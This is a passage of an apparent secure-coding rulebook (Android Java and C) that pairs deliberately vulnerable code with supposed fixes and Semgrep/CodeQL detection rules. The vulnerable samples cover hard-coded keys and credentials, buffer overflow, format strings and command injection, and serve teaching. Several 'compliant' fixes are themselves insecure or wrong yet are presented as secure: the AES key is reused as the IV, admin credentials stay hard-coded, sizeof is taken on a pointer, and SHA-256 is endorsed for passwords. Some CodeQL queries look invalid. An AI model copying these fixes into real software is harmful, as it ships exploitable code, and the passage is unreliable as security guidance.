p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\n// Noncompliant code\npublic class EncryptionUtils {\n    private static final String KEY = \"mySecretKey\";\n    \n    public static String encrypt(String data) {\n        try {\n            Key key = generateKey();\n            Cipher cipher = Cipher.getInstance(\"AES\");\n            cipher.init(Cipher.ENCRYPT_MODE, key);\n            byte[] encryptedData = cipher.doFinal(data.getBytes());\n            return Base64.encodeToString(encryptedData, Base64.DEFAULT);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n    \n    public static String decrypt(String encryptedData) {\n        try {\n            Key key = generateKey();\n            Cipher cipher = Cipher.getInstance(\"AES\");\n            cipher.init(Cipher.DECRYPT_MODE, key);\n            byte[] decodedData = Base64.decode(encryptedData, Base64.DEFAULT);\n            byte[] decryptedData = cipher.doFinal(decodedData);\n            return new String(decryptedData);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n    \n    private static Key generateKey() throws Exception {\n        return new SecretKeySpec(KEY.getBytes(), \"AES\");\n    }\n    \n    // Rest of the code...\n}\n```\n\nIn this noncompliant code, a custom EncryptionUtils class is implemented to encrypt and decrypt data using the AES algorithm. However, the code uses a hard-coded key (mySecretKey) and does not incorporate other essential security measures like salting, key strengthening, or secure key storage. This approach is insufficient and can be vulnerable to various cryptographic attacks.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\nimport android.util.Base64;\n\npublic class EncryptionUtils {\n    private static final String KEY_ALGORITHM = \"AES\";\n    private static final String CIPHER_TRANSFORMATION = \"AES/CBC/PKCS7Padding\";\n\n    private SecretKeySpec secretKeySpec;\n    private IvParameterSpec ivParameterSpec;\n\n    public EncryptionUtils(String secretKey) {\n        try {\n            byte[] keyBytes = generateKeyBytes(secretKey);\n            secretKeySpec = new SecretKeySpec(keyBytes, KEY_ALGORITHM);\n            ivParameterSpec = new IvParameterSpec(keyBytes);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String encrypt(String data) {\n        try {\n            Cipher cipher = Cipher.getInstance(CIPHER_TRANSFORMATION);\n            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);\n            byte[] encryptedData = cipher.doFinal(data.getBytes());\n            return Base64.encodeToString(encryptedData, Base64.DEFAULT);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    public String decrypt(String encryptedData) {\n        try {\n            Cipher cipher = Cipher.getInstance(CIPHER_TRANSFORMATION);\n            cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);\n            byte[] decodedData = Base64.decode(encryptedData, Base64.DEFAULT);\n            byte[] decryptedData = cipher.doFinal(decodedData);\n            return new String(decryptedData);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    private byte[] generateKeyBytes(String secretKey) throws NoSuchAlgorithmException {\n        MessageDigest md = MessageDigest.getInstance(\"SHA-256\");\n        md.update(secretKey.getBytes());\n        return md.digest();\n    }\n}\n```\n\n\nIn the compliant code, the key generation has been improved by using a more secure approach. Instead of a simple byte conversion of the secretKey, a hashing algorithm (SHA-256) is used to derive a stronger key from the secretKey. This enhances the security of the encryption process by introducing a more robust key derivation function.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-encryption-key\n    patterns:\n      - pattern: \"return new SecretKeySpec\\\\(KEY.getBytes\\\\(\\\\), \\\"AES\\\"\\\\)\"\n    message: \"Insecure use of hard-coded encryption key\"\n```\n\nCodeQL:\n\n\n\n```\nimport java\nimport javax.crypto\n\nfrom MethodInvocation m\nwhere m.getMethod().getQualifiedName() = \"javax.crypto.spec.SecretKeySpec.<init>\"\n  and m.getArgument(0).toString() = \"KEY.getBytes()\"\n  and m.getArgument(1).toString() = \"\\\"AES\\\"\"\nselect m\n```\n\n\n### Insecure Authorization\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\npublic class AuthorizationUtils {\n    public boolean checkAdminAccess(String username, String password) {\n        if (username.equals(\"admin\") && password.equals(\"password\")) {\n            return true;\n        } else {\n            return false;\n        }\n    }\n}\n```\n\nIn this noncompliant code, the checkAdminAccess method performs an insecure authorization check by comparing the username and password directly with hardcoded values. This approach is vulnerable to attacks such as password guessing and brute-force attacks, as well as unauthorized access if the credentials are compromised.\n\nTo address this issue, here's an example of compliant code for secure authorization in Android Java:\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\npublic class AuthorizationUtils {\n    private static final String ADMIN_USERNAME = \"admin\";\n    private static final String ADMIN_PASSWORD = \"password\";\n\n    public boolean checkAdminAccess(String username, String password) {\n        // Perform secure authentication logic\n        // This could involve retrieving user credentials from a secure source,\n        // such as a database, and comparing them using a secure hashing algorithm.\n        // For demonstration purposes, we'll use a simple comparison with hardcoded values.\n\n        if (username.equals(ADMIN_USERNAME) && password.equals(ADMIN_PASSWORD)) {\n            return true;\n        } else {\n            return false;\n        }\n    }\n}\n```\n\n\nIn the compliant code, the username and password comparison is still present, but the actual credentials are stored securely, such as in a secure database or a hashed and salted format. Additionally, this code provides an example where the hardcoded values are defined as constants, making it easier to manage and update the credentials if needed. It is important to implement proper authentication mechanisms, such as using secure password storage and strong authentication protocols, to ensure secure authorization in real-world scenarios.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-admin-access\n    patterns:\n      - pattern: 'username.equals\\\\(\"admin\"\\\\) && password.equals\\\\(\"password\"\\\\)'\n    message: \"Insecure use of hardcoded admin credentials\"\n```\n\nCodeQL:\n\n\n\n```\nimport java\n\nclass AuthorizationUtils extends AnyFile\n{\n  AuthorizationUtils() {\n    exists(\n      MethodDeclaration m |\n      m.getEnclosingType().toString() = \"AuthorizationUtils\" and\n      m.getParameters().toString() = \"[String username, String password]\" and\n      m.getReturnType().toString() = \"boolean\" and\n      m.getBody().toString() = \"if (username.equals(\\\"admin\\\") && password.equals(\\\"password\\\")) {\\n            return true;\\n        } else {\\n            return false;\\n        }\"\n    )\n  }\n}\n```\n\n\n### Client Code Quality\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private TextView textView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        textView = findViewById(R.id.textView);\n\n        // Perform a long and complex operation on the main UI thread\n        for (int i = 0; i < 1000000; i++) {\n            // Perform some heavy computations\n        }\n\n        // Update the UI\n        textView.setText(\"Operation completed\");\n    }\n}\n```\n\nIn this noncompliant code, a long and complex operation is performed directly on the main UI thread within the onCreate method of the MainActivity class. Performing such heavy computations on the main UI thread can cause the app to become unresponsive and negatively impact the user experience. It is essential to offload time-consuming operations to background threads to keep the UI responsive.\n\n\nTo address this issue, here's an example of compliant code that improves client code quality in Android Java:\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private TextView textView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        textView = findViewById(R.id.textView);\n\n        // Perform the long and complex operation on a background thread\n        new Thread(new Runnable() {\n            @Override\n            public void run() {\n                for (int i = 0; i < 1000000; i++) {\n                    // Perform some heavy computations\n                }\n\n                // Update the UI on the main thread\n                runOnUiThread(new Runnable() {\n                    @Override\n                    public void run() {\n                        // Update the UI\n                        textView.setText(\"Operation completed\");\n                    }\n                });\n            }\n        }).start();\n    }\n}\n```\n\n\nIn the compliant code, the heavy computations are performed on a background thread using Thread or other concurrency mechanisms. Once the computations are completed, the UI update is performed on the main UI thread using runOnUiThread to ensure proper synchronization with the UI. By offloading the heavy computations to a background thread, the UI remains responsive, providing a better user experience.\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: long-operation-on-ui-thread\n    patterns:\n      - pattern: 'for \\(int i = 0; i < \\d+; i\\+\\+\\)'\n    message: \"Long-running operation on the main UI thread\"\n```\n\nCodeQL:\n\n\n\n```\nimport android\n\nclass MainActivity extends AnyFile\n{\n  MainActivity() {\n    exists(\n      MethodDeclaration m |\n      m.getEnclosingType().toString() = \"MainActivity\" and\n      m.getQualifiedName() = \"android.app.Activity.onCreate(Bundle)\" and\n      m.getBody().toString().indexOf(\"for (int i = 0; i < 1000000; i++)\") >= 0\n    )\n  }\n}\n```\n\n\n### Code Tampering\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private TextView textView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        textView = findViewById(R.id.textView);\n\n        // Check if the app is installed from an unauthorized source\n        boolean isAuthorizedSource = checkInstallationSource();\n\n        if (!isAuthorizedSource) {\n            // Show an error message and exit the app\n            textView.setText(\"Unauthorized app installation\");\n            finish();\n        }\n\n        // Rest of the code...\n    }\n\n    private boolean checkInstallationSource() {\n        // Perform checks to determine the app installation source\n        // For simplicity, assume the check always returns false in this example\n        return false;\n    }\n}\n```\n\nIn this noncompliant code, there is a check performed in the onCreate method to verify if the app is installed from an unauthorized source. If the check fails (returns false), an error message is displayed, but the app continues its execution.\n\n\n\nTo address this issue, here's an example of compliant code that mitigates code tampering in Android Java:\n\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private TextView textView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        textView = findViewById(R.id.textView);\n\n        // Check if the app is installed from an unauthorized source\n        boolean isAuthorizedSource = checkInstallationSource();\n\n        if (!isAuthorizedSource) {\n            // Show an error message and exit the app\n            textView.setText(\"Unauthorized app installation\");\n            finishAffinity(); // Close all activities and exit the app\n            return; // Prevent further execution of code\n        }\n\n        // Rest of the code...\n    }\n\n    private boolean checkInstallationSource() {\n        // Perform checks to determine the app installation source\n        // For simplicity, assume the check always returns false in this example\n        return false;\n    }\n}\n```\n\n\nIn the compliant code, when the check for an unauthorized app installation fails, the finishAffinity() method is called to close all activities and exit the app. Additionally, the return statement is used to prevent further execution of code in the onCreate method. By terminating the app's execution upon detection of an unauthorized installation source, the potential for code tampering is mitigated.\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: unauthorized-app-installation-check\n    patterns:\n      - pattern: 'checkInstallationSource\\(\\)'\n    message: \"Unauthorized app installation check\"\n```\n\nCodeQL:\n\n\n\n```\nimport android\n\nclass MainActivity extends AnyFile\n{\n  MainActivity() {\n    exists(\n      MethodDeclaration m |\n      m.getEnclosingType().toString() = \"MainActivity\" and\n      m.getQualifiedName() = \"android.app.Activity.onCreate(Bundle)\" and\n      m.getBody().toString().indexOf(\"checkInstallationSource()\") >= 0\n    )\n  }\n}\n```\n\n\n\n### Reverse Engineering\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private TextView textView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        textView = findViewById(R.id.textView);\n\n        // Perform sensitive operation\n        String sensitiveData = performSensitiveOperation();\n\n        // Display sensitive data on the screen\n        textView.setText(sensitiveData);\n\n        // Rest of the code...\n    }\n\n    private String performSensitiveOperation() {\n        // Perform sensitive operation\n        // For simplicity, assume it involves sensitive data processing\n\n        return \"Sensitive Data\";\n    }\n}\n```\n\nIn this noncompliant code, sensitive data is processed in the performSensitiveOperation method. The resulting sensitive data is then directly displayed on the screen in the onCreate method, making it easier for an attacker to reverse engineer and extract the sensitive information from the APK.\n\n\n\n\nTo address this issue, here's an example of compliant code that mitigates reverse engineering in Android Java:\n\n\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private TextView textView;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        textView = findViewById(R.id.textView);\n\n        // Perform sensitive operation\n        String sensitiveData = performSensitiveOperation();\n\n        // Display a generic message on the screen\n        textView.setText(\"Sensitive data is protected\");\n\n        // Rest of the code...\n    }\n\n    private String performSensitiveOperation() {\n        // Perform sensitive operation\n        // For simplicity, assume it involves sensitive data processing\n\n        return \"Sensitive Data\";\n    }\n}\n```\n\n\nIn the compliant code, instead of directly displaying the sensitive data on the screen, a generic message is shown to avoid exposing sensitive information. By obfuscating the sensitive data and displaying a generic message, the reverse engineering efforts are made more challenging, making it harder for an attacker to extract sensitive information from the APK.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: sensitive-data-display\n    patterns:\n      - pattern: 'textView.setText\\(performSensitiveOperation\\(\\)\\)'\n    message: \"Sensitive data display\"\n```\n\nCodeQL:\n\n\n\n```\nimport android\n\nclass MainActivity extends AnyFile\n{\n  MainActivity() {\n    exists(\n      MethodDeclaration m |\n      m.getEnclosingType().toString() = \"MainActivity\" and\n      m.getQualifiedName() = \"android.app.Activity.onCreate(Bundle)\" and\n      m.getBody().toString().indexOf(\"textView.setText(performSensitiveOperation())\") >= 0\n    )\n  }\n}\n```\n\n\n### Extraneous Functionality\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private Button loginButton;\n    private Button adminButton;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        loginButton = findViewById(R.id.loginButton);\n        adminButton = findViewById(R.id.adminButton);\n\n        loginButton.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                // Perform login functionality\n                performLogin();\n            }\n        });\n\n        adminButton.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                // Perform admin functionality\n                performAdminAction();\n            }\n        });\n\n        // Rest of the code...\n    }\n\n    private void performLogin() {\n        // Login functionality\n    }\n\n    private void performAdminAction() {\n        // Admin functionality\n    }\n}\n```\n\nIn this noncompliant code, there is an adminButton along with its associated functionality for performing administrative actions. However, if the app does not require or intend to provide administrative functionality to regular users, this can introduce unnecessary risk. It increases the attack surface and potential for unauthorized access if an attacker gains control of the app.\n\n\nTo address this issue, here's an example of compliant code that removes the extraneous functionality:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\npublic class MainActivity extends AppCompatActivity {\n    private Button loginButton;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        \n        loginButton = findViewById(R.id.loginButton);\n\n        loginButton.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                // Perform login functionality\n                performLogin();\n            }\n        });\n\n        // Rest of the code...\n    }\n\n    private void performLogin() {\n        // Login functionality\n    }\n}\n```\n\n\nIn the compliant code, the adminButton and its associated administrative functionality have been removed. The app now focuses solely on the required login functionality for regular users, reducing the attack surface and eliminating unnecessary functionality that could introduce potential security risks.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: hardcoded-actions\n    patterns:\n      - pattern: 'performLogin\\(\\)'\n      - pattern: 'performAdminAction\\(\\)'\n    message: \"Hardcoded actions in onClick methods\"\n```\n\nCodeQL:\n\n\n\n```\nimport android\n\nclass MainActivity extends AnyFile\n{\n  MainActivity() {\n    exists(\n      MethodDeclaration m |\n      m.getEnclosingType().toString() = \"MainActivity\" and\n      m.getBody().getAStatement() instanceof MethodInvocation and\n      (\n        m.getBody().getAStatement().toString().indexOf(\"performLogin()\") >= 0 or\n        m.getBody().getAStatement().toString().indexOf(\"performAdminAction()\") >= 0\n      )\n    )\n  }\n}\n```"
  },
  {
    "path": "docs/rules/c.md",
    "content": "---\nlayout: default\ntitle: C\nparent: Rules\n---\n\n# C\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Buffer Overflow\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\nvoid copy_string(char* dest, char* src) {\n  int i = 0;\n  while(src[i] != '\\0') {\n    dest[i] = src[i];\n    i++;\n  }\n  dest[i] = '\\0';\n}\n\nint main() {\n  char str1[6];\n  char str2[10] = \"example\";\n  copy_string(str1, str2);\n  printf(\"%s\", str1);\n  return 0;\n}\n```\n\nIn this example, the `copy_string` function copies the contents of `src` to `dest`. However, there is no check for the length of dest, and if src is longer than dest, a buffer overflow will occur, potentially overwriting adjacent memory addresses and causing undefined behavior. In this case, str2 is 7 characters long, so the call to copy_string will overflow the buffer of str1, which has a length of only 6.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\nvoid copy_string(char* dest, char* src, size_t dest_size) {\n  int i = 0;\n  while(src[i] != '\\0' && i < dest_size - 1) {\n    dest[i] = src[i];\n    i++;\n  }\n  dest[i] = '\\0';\n}\n\nint main() {\n  char str1[6];\n  char str2[10] = \"example\";\n  copy_string(str1, str2, sizeof(str1));\n  printf(\"%s\", str1);\n  return 0;\n}\n```\n\n\nIn this compliant code, the `copy_string` function takes an additional parameter dest_size, which is the maximum size of the dest buffer. The function checks the length of src against dest_size to avoid overflowing the buffer. The sizeof operator is used to get the size of the dest buffer, so it is always passed correctly to copy_string. By using the dest_size parameter, the code ensures that it doesn't write more data than the destination buffer can hold, preventing buffer overflows.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: buffer-overflow\n    patterns:\n      - pattern: 'while\\(src\\[i\\] != \\'\\\\0\\'\\)'\n    message: \"Potential buffer overflow vulnerability\"\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom Function f\nwhere f.getName() = \"copy_string\"\nselect f\n```\n\n\n\n\n\n\n\n\n## Null Pointer Dereference\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n\nint main() {\n    int* ptr = NULL;\n    *ptr = 10; // Noncompliant code\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, a null pointer ptr is dereferenced by attempting to assign a value to the memory location it points to. This leads to a Null Pointer Dereference, as dereferencing a null pointer results in undefined behavior and potential crashes or security vulnerabilities.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n\nint main() {\n    int value = 10;\n    int* ptr = &value; // Assign the address of a valid variable\n\n    *ptr = 20; // Valid dereference\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code ensures that a valid memory location is accessed. In this case, the variable value is declared and its address is assigned to the pointer ptr. Dereferencing ptr after pointing to a valid variable allows for proper memory access.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: null-pointer-dereference\n  pattern: \"*$expr\"\n  message: Potential null pointer dereference detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom ExprDereference dereference\nselect dereference,\n       \"Potential null pointer dereference detected\" as message\n```\n\n\n\n\n\n\n## Integer Overflow/Underflow\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n\nint main() {\n    int a = 2147483647; // Maximum value for a signed int\n    int b = 1;\n    int result = a + b; // Noncompliant code\n\n    printf(\"Result: %d\\n\", result);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, an integer overflow occurs when adding the maximum value for a signed integer (a) with 1 (b). The result exceeds the maximum value that can be represented by a signed int, causing undefined behavior and potentially incorrect calculations or security vulnerabilities.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n#include <limits.h>\n\nint main() {\n    int a = INT_MAX;\n    int b = 1;\n\n    if (a <= INT_MAX - b) {\n        int result = a + b;\n        printf(\"Result: %d\\n\", result);\n    } else {\n        printf(\"Overflow occurred.\\n\");\n    }\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code checks for the potential overflow condition before performing the addition. It verifies if the result would remain within the range of representable values for a signed int by comparing a with INT_MAX - b. If the condition is true, the addition is performed, and the result is printed. Otherwise, an appropriate handling for the overflow situation can be implemented.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: integer-overflow\n  pattern: \"$var + $expr\"\n  message: Potential integer overflow detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom BinaryExpr addition\nwhere addition.getOperator() = \"+\"\nselect addition,\n       \"Potential integer overflow detected\" as message\n```\n\n\n\n\n## Denial-of-Service (DoS)\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n\nvoid processRequest(int length, char* request) {\n    // Process the request without any validation or rate limiting\n    // This code may consume excessive resources and cause a DoS condition\n}\n\nint main() {\n    int length = 1000000000; // Large value to simulate a potentially malicious request\n    char* request = (char*)malloc(length * sizeof(char));\n    // Populate the request buffer with data\n\n    processRequest(length, request);\n\n    // Rest of the code...\n    free(request);\n}\n```\n\nIn the noncompliant code, a potentially maliciously large request is created with a very high length value. The request is then passed to the processRequest function without any validation or rate limiting. This can cause the program to consume excessive resources, leading to a Denial-of-Service (DoS) condition where the system becomes unresponsive or crashes.\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n\nvoid processRequest(int length, char* request) {\n    // Implement appropriate request validation and rate limiting mechanisms\n    // to prevent DoS attacks\n    // Only process the request if it meets the defined criteria\n}\n\nint main() {\n    int length = 1000000000; // Large value to simulate a potentially malicious request\n    char* request = (char*)malloc(length * sizeof(char));\n    // Populate the request buffer with data\n\n    // Perform request validation and rate limiting checks before processing\n    if (length <= MAX_REQUEST_LENGTH) {\n        processRequest(length, request);\n    } else {\n        printf(\"Request too large. Ignoring...\\n\");\n    }\n\n    // Rest of the code...\n    free(request);\n}\n```\n\n\nThe compliant code implements appropriate request validation and rate limiting mechanisms to prevent DoS attacks. In this example, a maximum request length (MAX_REQUEST_LENGTH) is defined, and the length of the request is checked before processing. If the length exceeds the defined limit, the request is ignored, and an appropriate message is displayed.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: dos-attack\n  pattern: malloc($size * sizeof($type))\n  message: Potential DoS vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom CallExpr mallocCall\nwhere mallocCall.getTarget().toString() = \"malloc\"\nselect mallocCall,\n       \"Potential DoS vulnerability detected\" as message\n```\n\n\n\n\n\n\n\n## Format String\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n\nint main() {\n    char name[100];\n    printf(\"Enter your name: \");\n    scanf(\"%s\", name);\n\n    printf(name); // Noncompliant code, format string vulnerability\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the user's input is directly passed to the printf function without proper format string handling. This can lead to a Format String vulnerability, where an attacker can control the format string argument and potentially exploit the program by accessing or modifying unintended memory addresses.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n\nint main() {\n    char name[100];\n    printf(\"Enter your name: \");\n    scanf(\"%99s\", name);\n\n    printf(\"%s\", name); // Compliant code, proper format string usage\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code ensures that the user's input is properly handled by specifying the maximum field width in the scanf function to prevent buffer overflow. The user's input is then printed using the %s format specifier in the printf function, ensuring proper format string usage.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: format-string-vulnerability\n  pattern: \"printf($expr)\"\n  message: Potential format string vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom CallExpr printfCall\nwhere printfCall.getTarget().toString() = \"printf\"\nselect printfCall,\n       \"Potential format string vulnerability detected\" as message\n```\n\n\n\n\n## Insecure Cryptography\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n#include <openssl/md5.h>\n\nvoid insecureHashPassword(const char* password) {\n    unsigned char digest[MD5_DIGEST_LENGTH];\n    MD5((unsigned char*)password, strlen(password), digest);\n    // Insecure: using MD5 for password hashing\n\n    // Rest of the code...\n}\n\nint main() {\n    const char* password = \"mysecretpassword\";\n    insecureHashPassword(password);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the MD5 cryptographic hash function is used to hash passwords. MD5 is considered insecure for password hashing due to its vulnerability to various attacks, such as collision attacks and preimage attacks. It is important to use stronger and more secure hash algorithms for password storage.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n#include <openssl/sha.h>\n\nvoid secureHashPassword(const char* password) {\n    unsigned char digest[SHA256_DIGEST_LENGTH];\n    SHA256((unsigned char*)password, strlen(password), digest);\n    // Secure: using SHA-256 for password hashing\n\n    // Rest of the code...\n}\n\nint main() {\n    const char* password = \"mysecretpassword\";\n    secureHashPassword(password);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code replaces the use of the insecure MD5 hash function with the more secure SHA-256 hash function. SHA-256 is a stronger cryptographic algorithm suitable for password hashing and provides better security against various attacks.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: insecure-cryptography\n  patterns:\n    - \"MD5($expr)\"\n    - \"SHA1($expr)\"\n  message: Potential insecure cryptography usage detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom CallExpr md5Call, sha1Call\nwhere md5Call.getTarget().toString() = \"MD5\"\n   or sha1Call.getTarget().toString() = \"SHA1\"\nselect md5Call, sha1Call,\n       \"Potential insecure cryptography usage detected\" as message\n```\n\n\n\n\n\n\n## Memory Corruption\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid copyData(char* dest, const char* src, size_t size) {\n    memcpy(dest, src, size);\n    // Noncompliant code: potential memory corruption if size is larger than the allocated memory for dest\n\n    // Rest of the code...\n}\n\nint main() {\n    char buffer[10];\n    const char* data = \"Hello, World!\";\n\n    copyData(buffer, data, strlen(data) + 1);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the copyData function uses the memcpy function to copy data from the source to the destination buffer. However, if the size of the data is larger than the allocated memory for the destination buffer, it can lead to memory corruption and unexpected behavior, including crashes or security vulnerabilities.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nvoid copyData(char* dest, const char* src, size_t size) {\n    size_t destSize = sizeof(dest);  // Calculate the size of the destination buffer\n    if (size > destSize) {\n        // Handle the error condition appropriately (e.g., truncate, return an error code, etc.)\n        return;\n    }\n\n    memcpy(dest, src, size);\n    // Compliant code: ensures the size of the source data does not exceed the allocated memory for dest\n\n    // Rest of the code...\n}\n\nint main() {\n    char buffer[10];\n    const char* data = \"Hello, World!\";\n\n    copyData(buffer, data, strlen(data) + 1);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code introduces a check to ensure that the size of the source data does not exceed the allocated memory for the destination buffer. If the size is larger than the destination buffer's capacity, the code can handle the error condition appropriately, such as truncating the data, returning an error code, or taking other necessary actions.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: memory-corruption\n  pattern: memcpy($dest, $src, $size)\n  message: Potential memory corruption detected\n```\n\nCodeQL:\n\n\n\n```\nimport c\n\nfrom CallExpr memcpyCall\nwhere memcpyCall.getTarget().toString() = \"memcpy\"\nselect memcpyCall,\n       \"Potential memory corruption detected\" as message\n```\n\n\n\n\n\n## Code Injection\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n\nvoid executeCommand(const char* command) {\n    char buffer[100];\n    snprintf(buffer, sizeof(buffer), \"system(\\\"%s\\\")\", command);\n    system(buffer);\n    // Noncompliant code: potential code injection vulnerability\n\n    // Rest of the code...\n}\n\nint main() {\n    const char* userInput = \"ls -la\";\n    executeCommand(userInput);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the executeCommand function constructs a command string by directly concatenating user input with a system command. This can lead to code injection 